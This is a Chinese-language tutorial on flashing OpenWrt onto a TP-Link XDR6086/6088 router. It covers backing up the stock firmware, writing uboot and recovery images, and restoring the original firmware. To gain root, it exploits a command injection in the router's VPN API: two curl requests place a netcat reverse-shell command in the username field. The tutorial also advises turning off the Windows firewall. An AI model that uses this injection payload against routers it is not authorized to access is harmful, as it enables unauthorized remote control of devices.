前提
- 本教程以xdr6086为例
- win10
- 刷机有风险
准备工作
-
Tftpd64 该软件在刷机过程中作为传输文件的服务器
-
netcat 用于监听端口并连接到路由器内部,使用:添加到系统变量里
-
git bash
-
固件前往openwrt官网下载tplink_tl-xdr6088- 开头的四个文件
xxx-uboot.fip
xxx-recovery.itb
xxx-preloader.bin
xxx-sysupgrade.itb -
c盘根目录创建
files目录,将上述四个文件放入其中,如下图;
当然你也可以放入其他位置,前提你知道如何在git bash 切换目录。
刷机
设置路由器
- 路由器重置,在原版系统里或reset
- 将电脑连接到路由器 1G 的网口上,并设置电脑端的网卡固定 IP 为
192.168.1.254(PS:必须设置为该 IP ,否则后面会无法载入 recovery 文件) - 浏览器访问
192.168.1.1进入路由器随便设置下进入后台上网设置页面 - 按 F12 打开浏览器的开发者工具,点击到 网络 标签,点击左侧的任意一个 ds 请求,查看 标头 ,将 请求网站 中的 stok= 后面一直到 / 结束的值复制下来,示例如下

准备 TFTP 服务器
设置系统
关闭 media sensing 功能,这样在连接到电脑的设备重启时,才不会断连。否则之后在 uboot 阶段无法传输 recovery 镜像
netsh interface ipv4 set global dhcpmediasense=disabled
netsh interface ipv6 set global dhcpmediasense=disabled
第一次运行 tftpd64 时,Windows 防火墙可能会问你是否允许,要同时勾选公共和专用网络上都允许。!!强烈建议直接关闭防火墙得了
设置tfpt64
设置文件目录:点击右侧 Browse 选择到固件所在的文件夹
设置网卡:在 Server interfaces 右侧下拉,选择和路由器连接的那个网卡(即 IP 为 192.168.1.254

获取 root 权限
-
以管理员打开
cmd命令提示符,运行ncat -nvlp 4444监听端口 -
以管理员打开
git bash执行命令将stock 值存入环境变量export stok=<stok值> -
行以下命令,如果成功运行,则会返回
{"vpn":{"name":"user_1"},"error_code":0}curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'
-
继续运行以下命令,如果成功运行,则会返回
{"error_code":0}curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}'
-
此时,在 ncat 监听中,如果看到如下提示,则代表成功地开启了具有 root 权限的控制台命令行提示符:

-
如果没有看到,则重置路由器,重新开始
备份原厂固件(重要)
在上文获得了 root 权限的监听 cmd 窗口中执行以下命令
#备份
dd if=/dev/mtdblock9 of=/tmp/backup.img bs=131072
#获取md5用于校验(非必须)
md5sum /tmp/backup.img
#执行以下命令将固件传输到 Windows ,之后点击打开的 tftp 服务器,看到有文件在传输,等待传输完成
tftp -p -l /tmp/backup.img -r backup.img 192.168.1.254
#在 git bash 命令行中执行以下命令获取固件的 md5 值,该值应当和第二步中获取的值相同
md5sum /c/files/backup.img
刷入uboot
-
改名:上传前,将 files 目录下的 xxx-uboot.fip 改名为 uboot.fip ,将 xxx-preloader.bin 改名为 preloader.bin (改名的唯一作用就是让命令看起来短一些)
-
在获得了 root 权限的监听 cmd 窗口中执行以下命令传输文件
tftp -g -l /tmp/preloader.bin -r preloader.bin 192.168.1.254
tftp -g -l /tmp/uboot.fip -r uboot.fip 192.168.1.254
获得了 root 权限的监听 cmd 窗口中执行以下命令
!!一条一条的执行,一定不能调换顺序!!!不然你将收获一块砖
dd bs=131072 conv=sync of=/dev/mtdblock9 if=/tmp/preloader.bin
dd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/tmp/uboot.fip
tftp刷入镜像
recovery
uboot 写入完成后,请直接断电,在接上电源启动,然后观察 tftp 服务器,如果 files 下面的 xxx-recovery.itb 文件名刚好为 openwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb 那么你会看到文件传输的动作,如下图
sysupgrade
- 打开路由器页面:在 recovery 文件上传完成后,路由器会马上启动 OpenWrt ,这时候在浏览器中输入 192.168.1.1 就可以打开 OpenWrt 的网页端,此刻的openwrt属于恢复模式(initramfs) 当你长按reset通电进入uboot也是这个模式,在这个模式直接不保留配置在线刷入其他openwrt固件即可。
- 上传 sysupgrade :点击 转到固件升级 ,再点击 刷写固件 按钮,将 xxx-sysupgrade.itb 文件上传上去并确定,最后继续,等待刷写完成(较慢),完成写入后会自动重新打开登录页面
刷回官方
237,l大等openwrt回到原厂:
参考\](https://www.right.com.cn/forum/f ... 279716\&pid=18323702) 1. 将备份的文件传到op的tmp目录,执行恢复 `dd of=/dev/mtdblock0 if=/tmp/backup.img bs=131072 conv=sync` 2. 重启后路由器会进入救援模式,刷入tp官网固件即可 刷入op或者回原厂全程没有修改factory分区,无需担心mac地址或者无线信号受到影响。 ##### 官方openwrt(uboot)回到原厂: 参考:https://forum.openwrt.org/t/addi ... xdr-6086/140637/105 1.打开mtd写入 opkg update opkg install kmod-mtd-rw insmod mtd-rw i_want_a_brick=1 2.上传`backup.img`到`/tmp`,之后拆分备份文件。 `dd if=/tmp/backup.img of=/tmp/backup-mtd0.img bs=131072 count=8` 3.mtd命令写入mtd0分区,之后断电重启就会进入tp恢复模式 `mtd write /tmp/backup-mtd0.img /dev/mtd0`
